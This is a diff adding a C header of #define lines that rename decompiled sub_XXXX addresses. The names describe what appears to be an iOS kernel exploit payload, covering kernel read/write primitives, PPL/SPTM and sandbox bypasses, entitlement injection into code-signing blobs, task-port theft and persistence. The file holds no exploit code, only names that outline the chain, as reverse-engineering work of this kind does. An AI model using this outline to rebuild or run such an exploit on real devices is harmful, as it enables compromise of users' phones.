Map function names

src/payload_377bed/MapDefine.h

@@ -0,0 +1,641 @@
+//#define driver driver
+//#define driver_free free_oword_struct
+//#define driver_init krw_get_handle
+//#define driver_dispatch_command krw_write_dispatch
+#define sub_6070 krw_teardown_dispatch
+//#define driver_close krw_cleanup_dispatch
+#define sub_60A8 krw_get_conn_port
+#define sub_60EC krw_read_iogpu
+#define sub_6224 parse_kernel_version
+#define sub_6384 vm_remap_new_target
+#define sub_63E8 vm_remap_inplace
+#define sub_6448 query_vm_region_nesting
+#define sub_64B8 compare_entry_by_offset
+#define sub_64D0 compare_entry_unsigned
+//#define setup_thread_policy set_thread_realtime_policy_0
+#define sub_6564 sort_compact_vm_regions
+#define sub_66A4 grow_vm_region_list
+#define sub_68A0 get_vm_region_slot
+#define sub_68F4 deallocate_physmap_pages
+#define sub_69B8 acquire_physmap_page
+#define sub_6A54 start_physmap_worker_thread
+#define sub_6BBC request_physmap_page
+#define sub_6DC0 physmap_read_dword
+#define sub_6E30 physmap_read_aligned
+#define sub_6EB8 physmap_write_aligned
+#define sub_6F68 build_physmap_page_table
+#define sub_70A4 iogpu_kread_loop
+#define sub_7128 iogpu_kwrite_loop
+//#define find_mem_region find_vm_region
+#define sub_725C alloc_krw_region_map
+#define sub_7334 alloc_vm_page_array
+//#define allocate_two_buffers_for_something alloc_large_krw_region
+#define sub_7454 setup_krw_region_structure
+#define sub_7630 plist_elem_is_string_1
+#define sub_76B0 alloc_physmap_page_entry
+#define sub_7794 plist_array_contains_check_1
+#define sub_7DA4 fill_physmap_page_entries
+#define sub_7E08 dequeue_physmap_page_entry
+#define sub_7E84 dequeue_multiple_physmap_entries
+#define sub_7EDC trigger_vm_copy_shared_mem
+#define sub_7F28 thread_realtime_vm_copy
+#define sub_7FF8 scan_physmap_for_region
+#define sub_814C get_physmap_region_ptr
+#define sub_8228 run_physmap_worker_threads
+#define sub_8384 plist_array_contains_check_2
+#define sub_83C8 plist_array_append_unique_1
+#define sub_84F8 puaf_vm_region_scan_1
+#define sub_85E4 validate_physmap_range_2
+#define sub_8710 run_physmap_setup_sequence
+#define sub_8758 validate_physmap_range_3
+#define sub_8DDC scan_physmap_overlap
+#define sub_8F18 scan_physmap_addr_range
+#define sub_9018 setup_physmap_copy_structure
+#define sub_9150 reset_physmap_copy_area
+//#define dealloc_krw_port_array dealloc_krw_port_array
+//#define cleanup_physmap_copy_entries cleanup_physmap_copy_entries
+//#define dealloc_physmap_copy_slot dealloc_physmap_copy_slot
+//#define dealloc_physmap_2page_slot dealloc_physmap_2page_slot
+//#define dealloc_physmap_3page_slot dealloc_physmap_3page_slot
+//#define dealloc_iogpu_physmap_2 dealloc_iogpu_physmap_2
+//#define dealloc_iogpu_physmap_entry dealloc_iogpu_physmap_entry
+//#define dealloc_iogpu_physmap_triple dealloc_iogpu_physmap_triple
+//#define cleanup_physmap_context cleanup_physmap_context
+//#define free_vm_page_array_list free_vm_page_array_list
+#define sub_9FF0 teardown_iogpu_vm_copy
+#define sub_A0A0 necp_send_msg_1
+#define sub_A354 iogpu_kread
+#define sub_A3F0 iogpu_kwrite
+#define sub_A48C iogpu_kread2
+#define sub_A550 iogpu_kwrite2
+#define sub_A614 setup_kernel_region_via_flags
+#define sub_A82C read_task_kobject_physmap
+#define sub_A8A0 get_read_task_port_kobject
+//#define check_task_port_type check_task_port_type
+#define sub_A99C free_iogpu_krw_ctx
+#define sub_A9CC iogpu_teardown_ctx
+#define sub_AA3C create_iogpu_shmem_entry
+#define sub_AC50 iogpu_physmap_init
+#define sub_AE58 iogpu_init_private_ctx
+#define sub_B460 iogpu_krw_ctx_setup
+#define sub_B73C get_iogpu_physmap_base
+//#define memory_barrier_dsb_isb memory_barrier_dsb_isb
+//#define iogpu_kernel_read_op iogpu_kernel_read_op
+#define sub_BB3C scan_for_macho_header
+//#define acquire_physmap_page_atomic acquire_physmap_page_atomic
+#define sub_BCB4 query_vm_region_prot_info
+#define sub_BD20 plist_array_contains_check_3
+#define sub_BE20 vm_map_with_retry
+#define sub_BED0 kernel_read_loop_physmap
+#define sub_CB98 kext_exploit_main
+#define sub_CE78 iogpu_krw_thunk
+#define sub_CE84 kext_image_scan_init
+#define sub_CEB8 kext_image_scan_trampoline_0
+#define sub_F860 ioconnect_kread_physmap
+//#define physmap_read_rebuild_page physmap_read_rebuild_page
+//#define check_physmap_page_count check_physmap_page_count
+//#define map_sptm_state_page map_sptm_state_page
+//#define get_physmap_region_ptrs get_physmap_region_ptrs
+//#define iokit_kwrite_via_port iokit_kwrite_via_port
+#define sub_101AC cfdict_set_int32
+#define sub_10214 setup_vm_for_kwrite
+//#define get_ipc_kobject_offset get_ipc_kobject_offset
+//#define read_ipc_port_table_entry read_ipc_port_table_entry
+//#define kwrite_u64_via_kobject kwrite_u64_via_kobject
+//#define kread_via_kobject kread_via_kobject
+//#define kread_u64_value kread_u64_value
+//#define kwrite_u64_to_addr kwrite_u64_to_addr
+#define kread32 kread_u32_value
+//#define flush_cpu_cache flush_cpu_cache
+//#define setup_iokit_notify_dispatch setup_iokit_notify_dispatch
+//#define send_port_alloc_msg send_port_alloc_msg
+//#define setup_kernel_exploit_msg setup_kernel_exploit_msg
+//#define mach_vm_page_info_query mach_vm_page_info_query
+//#define query_phys_page_info query_phys_page_info
+//#define setup_ipc_port_exploit_payload setup_ipc_port_exploit_payload
+//#define send_iokit_notification send_iokit_notification
+#define sub_10EA8 prepare_iokit_notification_payload
+//#define vtable_call_slot2 vtable_call_slot2
+#define sub_10F84 setup_notification_extra_args
+#define sub_11054 trigger_kstate_write_vtable
+#define sub_110FC pack_exploit_args_buffer
+//#define call_vtable_ptr_slot2 call_vtable_ptr_slot2
+#define sub_111C0 plist_array_append_unique_2
+#define sub_125E4 run_exploit_thread
+#define sub_12678 write_kaddr_to_physmap
+#define sub_12754 trigger_thread_state_mod
+#define sub_127C0 get_ppnum_via_kread
+#define sub_12954 compare_cfdict_entries
+#define sub_129F8 iterate_cftype_values
+#define sub_12BF4 merge_cfdict_entries
+//#define apply_cfdict_update apply_cfdict_update
+#define sub_12DB0 cfarray_add_unique
+#define sub_12E48 check_cfstring_type
+#define sub_12E88 cfarray_contains_check
+#define sub_12EF8 necp_dispatch_by_version
+#define sub_1308C check_necp_flag
+#define sub_130B4 necp_kread_region
+#define sub_13304 ppl_physmap_table_patch_write
+#define sub_1353C get_kwrite_fn
+#define sub_13750 pgtable_walk_for_physmap
+#define sub_13844 physmap_table_write_versioned
+#define sub_13924 check_physmap_range_necp
+//#define ppl_kwritebuf ppl_kwritebuf
+//#define kaddr_need_ppl_bypass check_physmap_range_valid
+//#define ppl_kwritebuf_nocheck physmap_table_write_op
+#define sub_13D9C plist_elem_is_string_2
+//#define kwrite_something plist_array_contains_check_4
+//#define get_root_statfs get_root_statfs
+#define sub_13FF8 check_iogpu_krw_ready_3
+#define sub_14164 get_kernel_base_physmap
+#define sub_141F0 check_root_disk_identity
+//#define add_rw_to_disk add_rw_to_disk
+#define sub_14444 check_path_on_disk0s1s1
+#define sub_14524 check_mount_thread_info
+#define sub_148A4 check_disk0s1s1_path
+#define sub_14920 get_mount_disk_info
+#define sub_14BEC get_root_prefix_path
+#define sub_14CA4 get_kbase_from_fileport
+#define sub_14D98 validate_physmap_range_4
+#define sub_14EC4 get_kernel_load_addr_bsm
+#define sub_14F5C sptm_write_ulock_trampoline
+#define sub_14F9C check_root_is_apfs
+//#define krw_inject_entitlements_maybe krw_inject_entitlements_maybe
+#define sub_154D0 get_mach_thread_info
+#define sub_155A0 find_connect_ioavservice
+#define sub_15880 get_kernel_task_iokit
+#define sub_15CA4 test_appsepmanager_presence
+#define sub_15CC8 necp_send_msg_2
+#define sub_15D1C plist_elem_is_string_3
+#define sub_15EC4 physmap_flag_noop_a
+#define sub_18B14 read_cryptex_manifest
+#define sub_18D68 scan_physmap_state_entries
+#define sub_18DF0 lookup_sptm_state_entry
+#define sub_18EA4 read_pgtable_entry
+#define sub_18FCC get_pgtable_walk_result
+#define sub_19040 setup_physmap_page_with_size
+#define sub_19128 setup_physmap_rw_multi
+#define sub_19354 setup_macho_section_dispatch
+#define sub_193C0 get_kernel_version_build_0
+//#define nullsub_1 nullsub_1
+//#define validate_kaddr_range validate_kaddr_range
+//#define check_kaddr_in_physmap check_kaddr_in_physmap
+#define sub_197A8 macho_find_segment
+//#define get_const_8 get_const_8
+#define sub_19854 unmap_macho_image
+#define sub_198FC macho_walk_segment_by_name_impl
+#define sub_19AC4 macho_walk_segment_by_name_0
+#define sub_19ACC macho_read_u32
+#define sub_19B30 macho_read_u64
+#define sub_19B94 macho_read_u64_thunk
+#define sub_19B98 macho_walk_segment_by_name
+//#define macho_getsectbyname macho_getsectbyname
+#define sub_19D10 macho_find_text_section
+#define sub_19D20 macho_find_loadcmd_by_name
+#define sub_19DD4 krw_ctx_zero_fields
+#define sub_19E04 free_macho_image_vm
+#define sub_19E58 map_macho_image_vm
+#define sub_19F2C alloc_kernel_offset_table
+#define sub_1A0D4 plist_check_flag_5
+#define sub_1A0F4 plist_array_contains_check_5
+#define sub_1A4FC plist_check_flag_5_alt
+#define sub_1A520 free_kernel_image_resources
+#define sub_1A58C krw_ctx_setup_physmap
+#define sub_1AA90 spin_wait_el0_transition
+#define sub_1AADC necp_set_opt_string_2
+#define sub_1B158 write_task_kobject_fields
+#define sub_1B280 trigger_iokit_property_exploit
+#define sub_1B360 wait_thread_ready
+#define sub_1B42C thread_hijack_exploit
+#define sub_1BC54 call_vtable_ptr_slot2_v2
+#define sub_1BC60 spin_wait_el0_via_ptr
+#define sub_1BC68 wait_thread_via_ptr
+//#define get_task_vm_region_base get_task_vm_region_base
+//#define get_task_vm_info_0 get_task_vm_info_0
+//#define iosurface_enum_mach_port iosurface_enum_mach_port
+//#define iosurface_id_to_index iosurface_id_to_index
+#define sub_1BE0C get_iosurface_mem_entry
+#define sub_1BF68 alloc_vm_page_mem_entry
+#define sub_1C058 alloc_vm_page
+#define sub_1C0C8 krw_setup_with_stat
+#define sub_1C3EC krw_setup_ports_vm
+#define sub_1C720 setup_voucher_exploit_ctx
+#define sub_1C8B0 alloc_iosurface_mach_port
+#define sub_1CA3C insert_mach_port_send_right
+#define sub_1CD34 plist_array_contains_check_6
+#define sub_1CEC4 alloc_vm_page_v2
+#define sub_1CF1C krw_setup_voucher
+#define sub_1D1B0 krw_setup_physmap
+#define sub_1D4A0 krw_setup_iosurface
+#define sub_1D70C krw_setup_iosurface_v2
+//#define build_kernel_vtable build_kernel_vtable
+//#define kernel_pattern_scan kernel_pattern_scan
+//#define scan_kernel_text_gadget scan_kernel_text_gadget
+//#define search_binary_pattern_text search_binary_pattern_text
+#define sub_1E1B8 find_pattern_kernel_section
+//#define find_pattern_macho_binary find_pattern_macho_binary
+//#define find_kernel_gadget find_kernel_gadget
+//#define get_sptm_version_index get_sptm_version_index
+#define sub_1E620 find_kernel_func_aligned
+#define sub_1E62C find_kernel_func_by_scan
+#define sub_1E728 find_kernel_branch_target
+#define sub_1E800 resolve_branch_target
+#define sub_1E854 find_kernel_func
+#define sub_1E85C find_kernel_func_versioned
+#define sub_1E99C find_kread_pattern_versioned
+#define sub_1EA70 find_kernel_func_at_offset
+#define sub_1EB2C find_kernel_func_by_branch
+#define sub_1ED50 get_kernel_version_string_0
+//#define kernel_version_parse read_kernel_version_info
+#define sub_1F07C mach_vm_page_info_query_0
+//#define number_of_cpus number_of_cpus
+//#define comm_page_memory_size comm_page_memory_size
+#define sub_get_page_size sub_get_page_size
+#define sub_1F148 get_task_vm_info_1
+#define sub_1F190 get_page_size
+#define sub_1F1C8 get_task_memory_info
+//#define comm_page_get_cpu_family comm_page_get_cpu_family
+#define sub_1F274 alloc_buf_with_magic
+#define sub_1F308 parse_load_command_entry
+#define sub_1F418 copy_buf_struct_to_heap
+#define sub_1F4A4 free_and_null_ptr
+//#define fd_make_pipe fd_make_pipe
+//#define fd_read_test fd_read_test
+//#define setup_two_fds setup_two_fds
+//#define setup_fd setup_fd
+#define sub_1F714 fd_write
+#define sub_1F770 fd_read
+#define sub_1F7CC sptm_ulock_write_trampoline
+#define sub_1F828 mkdir_factory_mount
+#define sub_1F894 mmap_with_ctx_params
+//#define krw_dispatch_call_6args krw_dispatch_call_6args
+#define sub_1F964 unlink_and_close_fd
+//#define krw_dispatch_call_1arg krw_dispatch_call_1arg
+//#define krw_dispatch_call_3args krw_dispatch_call_3args
+#define sub_1FADC create_temp_file_in_factory_mount
+//#define get_mount_point_via_dispatch get_mount_point_via_dispatch
+#define sub_1FD98 check_factory_mount_hfs
+//#define driver_cmd_setup_untethered_persistence_maybe driver_cmd_setup_untethered_persistence_maybe
+//#define get_root_mount_info get_root_mount_info
+//#define physmap_check_range_wrapper physmap_check_range_wrapper
+#define sub_20490 unmount_path_retry
+#define sub_20524 stat_path_or_notfound
+#define sub_2062C iokit_connect_call_struct_method
+#define sub_20780 ioregistry_iter_read_cf_props
+#define sub_20930 append_to_dynamic_buf
+#define sub_20A14 write_loop_to_fd_from_ctx
+#define sub_20C00 append_buf_and_get_pid
+#define sub_20C64 append_buf_and_wait_port
+#define sub_20D24 read_two_consecutive_port_slots
+#define sub_20D90 check_iogpu_krw_ready_4
+#define sub_21060 plist_append_with_type2_sptm
+#define sub_211F4 check_iogpu_krw_ready_type2
+#define sub_21200 fileport_kobj_vm_attr_check
+#define sub_21304 update_timer_lru_cache
+#define sub_21388 krw_lookup_and_process_entry
+#define sub_213D4 pgtable_walk_full
+#define sub_2183C pgtable_walk_wrapper
+#define sub_21844 kaddr_to_phys_v1
+#define sub_218A8 kaddr_to_phys_v2
+#define sub_2190C free_entry_struct
+#define sub_21960 validate_physmap_range_5
+#define sub_22144 compare_krw_chunk_data
+#define sub_221E0 lookup_and_copy_krw_chunk
+#define sub_222F0 read_kaddr_via_chunk_offset
+#define sub_223A4 physmap_entry_check
+#define sub_22464 physmap_single_check
+#define sub_22470 memcmp20
+#define sub_224AC krw_lookup_via_ctx_field32
+#define sub_224B4 get_task_kobject_addr_from_field32
+#define sub_224BC get_iodevicetree_chosen_data
+#define sub_226D4 check_necp_kread_available
+#define sub_22718 open_and_kread_ptr_data
+#define sub_22878 getattrlist_check_file
+#define sub_228E4 check_and_copy_file_paths
+#define sub_22ADC enumerate_file_paths
+#define sub_22CA8 check_root_fs_mounted
+//#define nullsub_2 nullsub_2
+//#define dmaFail_physwrite32 dmaFail_physwrite32
+//#define dmaFail_set_power_state dmaFail_set_power_state
+//#define dmaFail_gfx_power_init dmaFail_gfx_power_init
+//#define dmaFail_map_dbgwrap dmaFail_map_dbgwrap
+//#define dmaFail_phystokv_cached dmaFail_phystokv_cached
+//#define dmaFail_dbgwrap_halt_cpu dmaFail_dbgwrap_halt_cpu
+//#define dmaFail_dbgwrap_unhalt_cpu dmaFail_dbgwrap_unhalt_cpu
+#define sub_23940 kwrite_sandbox_entry
+#define sub_239D8 read_kernel_data_buf
+#define sub_23D30 setup_sandbox_bypass
+#define sub_23F78 run_callback_with_physmap_write
+//#define check_sandboxed check_sandbox_state
+//#define another_sandbox_check check_sandbox_set_flag
+#define sub_24208 find_appleevent_kaddr
+#define sub_24368 parse_necp_opt_struct
+#define sub_244C8 mark_necp_option_visited
+//#define get_kext_base_addr get_kext_base_addr
+#define sub_24620 find_macho_entry_by_name
+#define sub_248A4 find_macho_entry_by_name_wrap
+#define sub_248E4 init_krw_ctx_fields
+#define sub_24908 free_krw_ctx_flags
+#define sub_24954 krw_ctx_buf_append_typed_val
+#define sub_249B8 buf_ensure_capacity
+#define sub_24A64 krw_ctx_buf_append_entry
+#define sub_24AD0 buf_append_data
+#define sub_24B38 send_mach_msg_from_ctx
+#define sub_24BC0 parse_xnu_version_string
+#define sub_24D64 ioservice_get_matching
+#define sub_24DA8 ioservice_notification_send
+#define sub_24FC0 register_ioservice_publish_notify
+#define sub_25068 set_thread_realtime_policy_1
+#define sub_250C4 set_thread_abs_realtime
+#define sub_2515C set_thread_abs_realtime_50
+#define sub_25164 release_write_semaphore_lock
+//#define acquire_write_semaphore_lock acquire_write_semaphore_lock
+//#define fd_close fd_close
+//#define fd_open_dev_null fd_open_dev_null
+//#define kreadbuf_via_dev_null_simple check_iogpu_krw_ready_5
+#define sub_25498 pipe_pair_krw
+#define sub_255FC init_necp_option_struct
+#define sub_2566C krw_fd_verify_roundtrip
+//#define krw_read_thunk krw_read_thunk
+#define sub_25734 krw_ctx_has_read_caps
+#define sub_25804 setup_krw_engine
+#define sub_25C6C teardown_krw_thread
+#define sub_25DB0 get_page_size_for_kaddr
+#define sub_25DE8 has_valid_krw_path
+//#define kreadbuf_via_dev_null_only physmap_kread_chunked
+#define sub_26204 necp_semaphore_kread
+#define sub_266D0 necp_fd_verify_roundtrip
+#define sub_267E8 plist_array_contains_check_8
+#define sub_268F8 necp_ioconnect_krw
+#define sub_26B00 teardown_semaphore_helper_ctx
+#define sub_26BE4 setup_iosurface_semaphore_helper
+//#define kreadbuf_via_IOConnectCallMethod kreadbuf_via_IOConnectCallMethod
+#define sub_271B0 ioconnect_callmethod_write
+//#define physmap_maybe physmap_maybe
+#define sub_27478 cleanup_ioconnect_resources
+#define sub_27504 setup_physmap_krw
+#define sub_27808 krw_read_validation
+#define sub_280A0 map_physpage_with_mem_entry
+#define sub_2811C join_destroy_krw_thread
+#define sub_281F0 iosurface_check_and_alloc_port
+#define sub_28288 iosurface_call_struct_method_1
+#define sub_28364 find_map_iosurface_memory
+//#define kread_physmap_decorated kread_physmap_decorated
+#define sub_288A4 kwrite_physmap_with_a3_ptr
+#define sub_288D4 krw_write_validation
+#define sub_28CE0 find_sptm_pgtable_state_block
+#define sub_28D44 teardown_sptm_pgtable_state
+//#define noppl_kwrite32 vm_machine_attr_op
+#define sub_28F90 iosurface_physmap_kwrite
+//#define kread_u32 kread_u32
+//#define kreadbuf_via_dev_null_and_thread_state kreadbuf_via_dev_null_and_thread_state
+//#define kreadbuf_via_tfp0 kreadbuf_via_tfp0
+//#define kread64_internal kread64_internal
+#define sub_29CB0 maybe_sptm_translate_kaddr
+//#define krw_xpac_vaddr_2 sptm_translate_kaddr
+//#define krw_xpac_vaddr sign_extend_kaddr
+//#define kwrite64_last_arg semaphore_kwrite_with_necp_fallback
+//#define kwrite64 physmap_kwrite_wrapper
+#define sub_2A0D8 pgtable_walk_and_physmap_remap
+//#define kwrite_with_retry kwrite_with_retry
+#define sub_2A190 port_right_index_to_kaddr
+#define sub_2A200 decode_pte_to_physmap_addr
+//#define kreadbuf krw_dispatch_kread
+//#define kreadbuf_last_0 krw_dispatch_kread_nowait
+//#define noppl_kwritebuf krw_dispatch_kwrite
+//#define kwritebuf_last_0 krw_dispatch_kwrite_nowait
+//#define ppl_kwrite32 vm_machine_attr_or_physmap_table
+//#define plist_array_contains_check_9 plist_array_contains_check_9
+//#define kwritebuf_universal physmap_kwrite_dispatch
+#define sub_2A7F4 mach_vm_read_with_attr_chunks
+#define sub_2A8A4 pgtable_write_aligned
+#define sub_2AABC plist_array_contains_check_10
+#define sub_2AB10 vtable_trampoline_b
+#define sub_2AB18 necp_kobj_patch_vtable
+#define sub_2AD98 semaphore_wait_wrapper
+#define sub_2ADB4 semaphore_mem_acquire_thread
+#define sub_2B03C ulock_wait_loop
+#define sub_2B0E8 ioconnect_struct_method_kwrite
+//#define physwrite64_maybe kwrite_u64
+//#define dmaFail_physwritebuf_ppl physmap_write_paged
+#define sub_2B5BC necp_ioservice_auth_write
+#define sub_2B788 posix_spawn_with_sigdefault
+#define sub_2B94C walk_task_csblob_chain
+#define sub_2BBA4 get_csblob_offset_pair
+#define sub_2BC80 get_csblob_size_pair
+//#define compute_sha_hash compute_sha_hash
+#define sub_2BE34 cfplist_compare_and_serialize
+#define sub_2BF00 cfplist_from_bytes
+#define sub_2BFDC cfdict_compare_or_merge
+#define sub_2C044 cfplist_serialize_xml
+#define sub_2C0F8 csblob_inject_entitlement
+#define sub_2C2F8 csblob_read_and_patch
+//#define csblob_find_entry csblob_find_entry
+#define sub_2CA2C csblob_replace_entry
+#define sub_2CA80 csblob_apply_with_physmap_write
+#define sub_2CB54 csblob_free_entry
+//#define krw_inject_entitlements2_maybe csblob_inject_entitlement_cfdata
+#define sub_2D008 ce_context_cfdata_transform
+#define sub_2D2B4 kread_task_slot_and_necp_set
+#define sub_2D374 csblob_set_entry_data
+//#define csblob_zero_entry_region csblob_zero_entry_region
+//#define ce_serialize_cfplist ce_serialize_cfplist
+#define sub_2D64C csblob_alloc_and_insert_entry
+#define sub_2D700 csblob_repack_entries
+#define sub_2D934 validate_physmap_range_6
+#define sub_2DC40 physmap_pgtable_check_and_append
+#define sub_2DE64 kread_and_set_vm_attr
+#define sub_2DED4 pgtable_kread_vm_attr_loop
+#define sub_2E00C setup_pgtable_and_patch_csblob
+#define sub_2E310 csblob_set_cs_flags
+#define sub_2E4E0 walk_proc_and_get_csblob_addr
+#define sub_2E5C0 plist_array_contains_check_11
+#define sub_2EB4C krw_read_with_version_check
+#define sub_2EC1C kwrite_with_version_check
+#define sub_2ED14 setup_physmap_and_wire_region
+#define sub_2F194 csblob_modify_entitlement_bits
+#define sub_2F294 check_csblob_patchable
+#define sub_2F2C8 patch_csblob_in_all_procs
+#define sub_2F7BC walk_csblob_chain_for_offset
+#define sub_2F898 proc_kread_and_patch_slot
+#define sub_2F92C csblob_find_slot_by_pair
+#define sub_2F980 csblob_dup_entry
+#define sub_2F9D4 csblob_bzero_and_free
+#define sub_2FA24 plist_elem_is_string_5
+#define sub_31914 csblob_alloc_and_fill_slots
+#define sub_31B90 wire_proc_page_via_kobject
+#define sub_31FC0 csblob_compute_and_copy_hash
+#define sub_32064 physmap_kwrite_chain_entry
+#define sub_320EC get_version_specific_offset
+#define sub_321C0 get_dyld_slide_info
+#define sub_322A4 spinlock_acquire_clear_bit
+#define sub_322D8 dyld_fcntl59_mmap_setup
+#define sub_323C4 scan_iosurface_slot_realtime
+#define sub_32538 alloc_physmap_page_aligned
+#define sub_325DC csblob_free_array
+#define sub_32650 csblob_realloc_array
+#define sub_326D0 csblob_alloc_container
+#define sub_3272C pread_loop
+#define sub_32820 plist_array_append_unique_5
+//#define maybe_ipc_port_get_kobject maybe_ipc_port_get_kobject
+#define sub_329B8 get_task_struct_offset
+#define sub_32A64 get_ipc_port_offset_by_version
+#define sub_32B10 get_privileged_host_port
+#define sub_32BC8 get_task_struct_cached_offset
+//#define get_task_kobject_addr get_task_kobject_addr
+//#define lookup_or_resolve_kaddr lookup_or_resolve_kaddr
+//#define task_self_get_ipc_port task_self_get_ipc_port
+//#define get_task_struct_field_offset get_task_struct_field_offset
+#define sub_32E84 get_task_pid_offset
+#define sub_32F1C plist_array_append_unique_6
+#define sub_33098 get_ptrauth_data_ptr_offset
+#define sub_33168 get_context_version_offset_40
+#define sub_331D0 get_context_version_offset_112
+#define sub_33238 get_version_adjusted_offset
+#define sub_33268 get_ptrauth_base_offset
+#define sub_33304 read_kaddr_at_task_offset
+#define sub_3338C get_task_context_size
+//#define krw_task_for_pid_0 krw_task_for_pid_0
+//#define krw_task_for_pid_or_name_ret_x0 krw_task_for_pid_or_name_ret_x0
+//#define krw_task_for_name krw_task_for_name
+#define sub_336B8 read_pte_entry_chain
+#define sub_3382C setup_task_port_chain
+//#define task_get_ipc_port_ptr get_port_entry_at_index
+//#define task_self_get_ipc_port_ptr get_self_port_entry_at_index
+//#define task_get_ipc_port plist_array_append_unique_7
+#define sub_33A88 walk_kaddr_chain_to_target
+#define sub_33B98 traverse_sptm_pgtable_chain
+#define sub_33CB0 find_kernel_struct_addr
+#define sub_33D38 scan_and_validate_kaddr
+#define sub_33E8C kread_task_struct
+#define sub_33ED8 walk_task_kaddr_chain
+#define sub_33FFC get_task_kobj_and_walk_chain
+//#define resolve_task_kobj_kaddr resolve_task_kobj_kaddr
+#define sub_340D8 get_kobj_and_resolve_kaddr
+//#define get_task_kobj_kaddr_with_flags get_task_kobj_kaddr_with_flags
+//#define get_task_kobj_dispatch get_task_kobj_dispatch
+#define sub_34358 get_task_kobj_via_physmap
+#define sub_343E0 plist_array_append_unique_8
+#define sub_345D4 get_task_kobj_with_offset
+#define sub_34680 get_task_csflags_kaddr
+#define sub_34754 kread_physmap_two_hops
+#define sub_3481C get_task_struct_csblob_offset
+#define sub_348BC get_task_struct_small_offset
+#define sub_3492C walk_task_context_to_kobj
+#define sub_349C8 plist_array_append_unique_9
+#define sub_34A40 kread_task_port_entry
+#define sub_34D14 necp_set_opt_string_6
+#define sub_34D58 get_task_port_kaddr
+#define sub_34F5C get_task_port_kaddr_checked
+#define sub_34FF8 get_task_port_kaddr_wrap
+#define sub_35004 find_proc_kobj_via_processors
+#define sub_353DC get_task_port_offset
+#define sub_35420 get_task_version_field
+#define sub_354A4 get_mach_task_port_slot
+#define sub_35500 kread_mach_task_port_slot
+#define sub_35568 kread_mach_task_port_slot_plus80
+#define sub_35610 get_ipc_port_kaddr_via_host
+#define sub_356C8 get_task_bsd_info_kaddr
+#define sub_3579C get_port_set_kaddr
+#define sub_35938 validate_port_set_chain
+#define sub_35A50 plist_array_append_unique_10
+#define sub_35AE0 necp_set_opt_string_7
+#define sub_35D94 ipc_port_kread_and_vm_attr
+#define sub_35E18 kread_modify_u32_with_delta
+#define sub_35E8C kread_and_vm_attr_double
+#define sub_35ECC vm_attr_increment_offset_bounded
+#define sub_35FD8 vm_attr_increment_offset_check
+#define sub_36000 vm_attr_field_offset_add4_check
+//#define krw_ctx_set_flag krw_ctx_set_flag
+//#define krw_ctx_clr_flag krw_ctx_clr_flag
+//#define krw_ctx_has_flag krw_ctx_has_flag
+#define sub_360A8 get_task_struct_offset_cached
+#define sub_36160 lookup_physmap_page_slot
+#define sub_361DC cache_physmap_page_slot
+//#define voucher_create_mach_voucher create_voucher_for_port
+//#define create_mach_port_with_a2 check_raise_fd_limit
+//#define create_mach_port alloc_mach_port_insert_right
+#define sub_363E4 validate_physmap_range_7
+#define sub_36480 plist_elem_is_string_6
+#define sub_36C10 build_csblob_buf_from_load_cmds
+#define sub_36E4C map_shared_mem_and_transfer_data
+#define sub_37210 alloc_physmap_page
+#define sub_3796C alloc_physmap_scratch_page
+#define sub_37A50 kwrite_task_kobj_field_via_physmap
+#define sub_37C50 check_krw_capabilities_version
+#define sub_37F58 get_proc_kobj_pair_cached
+#define sub_38034 port_table_lookup_v1
+#define sub_38158 map_physpage_with_ports
+#define sub_38378 translate_physmap_addr_via_segments
+#define sub_38428 init_or_get_kread_pattern_table
+#define sub_38544 map_physpage_to_user
+#define sub_385F4 map_physpage_for_kobj
+#define sub_386AC resolve_physpage_addr
+#define sub_38764 iterate_active_threads
+////#define physmap_map_cached map_physmem_region_to_userspace
+////#define physmap_unmap_cached unmap_and_release_physmem_region
+#define sub_38C8C append_kaddr_to_physmem_table
+#define sub_38D60 read_via_mapped_physmem_region
+//#define physwritebuf_direct_mapped custom_kwrite_op
+#define sub_38F38 check_krw_read_thunk_ok
+#define sub_38F6C kwrite_u16_at_plus8
+#define sub_38FAC u16_add10_clamped
+#define sub_38FD4 kread_and_kwrite_u16_plus8_bumped
+#define sub_39090 remap_kaddr_through_physmap
+#define sub_39150 plist_elem_is_string_7
+//#define kernel_get_base_slid find_kobject_via_ioregistry
+#define sub_39A24 init_pgtable_walk_ctx
+#define sub_39B14 init_kread_pattern_addrs
+#define sub_39B70 resolve_kernel_text_range
+#define sub_39CC0 check_task_dyld_info_versioned
+//#define create_pthread_something spawn_suspended_pthread_with_mach
+#define sub_39FDC kwrite_task_dispatch_via_kobj
+//#define pthread_create_and_join run_func_in_new_pthread
+#define sub_3A150 get_or_set_uid_cred_in_task
+#define sub_3A57C kread_u32_modify_lo10_kwrite
+#define sub_3A5F0 insert_task_port_send_right_versioned
+#define sub_3A72C get_kernel_task_host_port
+#define sub_3A878 get_ioservice_conn_port
+#define sub_3A8DC kread_proc_kobj_entitlement_data
+#define sub_3AA2C necp_send_msg_3
+#define sub_3AD2C get_task_port_pid_field_offset
+#define sub_3AE94 kread_proc_kobj_entitlement_full
+#define sub_3B49C set_proc_flag_bit7_kwrite
+#define sub_3B524 get_proc_kobj_exec_flags
+#define sub_3B7E0 plist_array_append_unique_11
+//#define krw_task_for_pid krw_task_for_pid
+//#define krw_task_for_pid_or_name_ret_ptr krw_task_for_pid_or_name_ret_ptr
+#define sub_3BE3C set_thread_state_versioned
+//#define thread_set_state_with_kobj_offset thread_set_state_with_kobj_offset
+//#define find_kernel_base_ptr find_kernel_base_ptr
+//#define refresh_target_task_port refresh_target_task_port
+//#define physmap_kread physmap_kread
+//#define driver_init2_1 driver_init2_1
+//#define validate_ipc_kobject_read validate_ipc_kobject_read
+//#define driver_init2 driver_init2
+//#define free_decompressed_macho free_decompressed_macho
+//#define driver_dispatch_command2 driver_dispatch_command2
+//#define driver_dispatch_command3 driver_dispatch_command3
+#define sub_3F2E0 reinit_and_refresh_krw_ctx
+//#define driver_close_internal teardown_and_free_ctx
+//#define set_flags_something_INEEDTOLOOK_sub_3F8C0 kread_u32_set_bits_versioned
+#define sub_3F9A0 check_krw_necp_state
+#define sub_3FA2C check_dispatch_krw_state
+#define sub_3FB84 find_kernel_text_exec_section
+#define sub_3FE68 update_physmap_table_entry_count
+#define sub_3FED4 alloc_kobj_snapshot_buf
+#define sub_3FF78 read_u32_from_kobj_snapshot
+#define sub_3FF8C kobj_snapshot_lookup_wrapper
+#define sub_3FFA0 kobj_snapshot_pattern_search
+#define sub_40024 kobj_snapshot_pattern_search_via_ctx
+#define sub_40038 find_section_in_macho_snapshot
+#define sub_4014C init_text_exec_data_const_sections
+#define sub_401A4 compute_optimal_kobj_stride
+#define sub_40210 compute_kobj_scan_halfstride
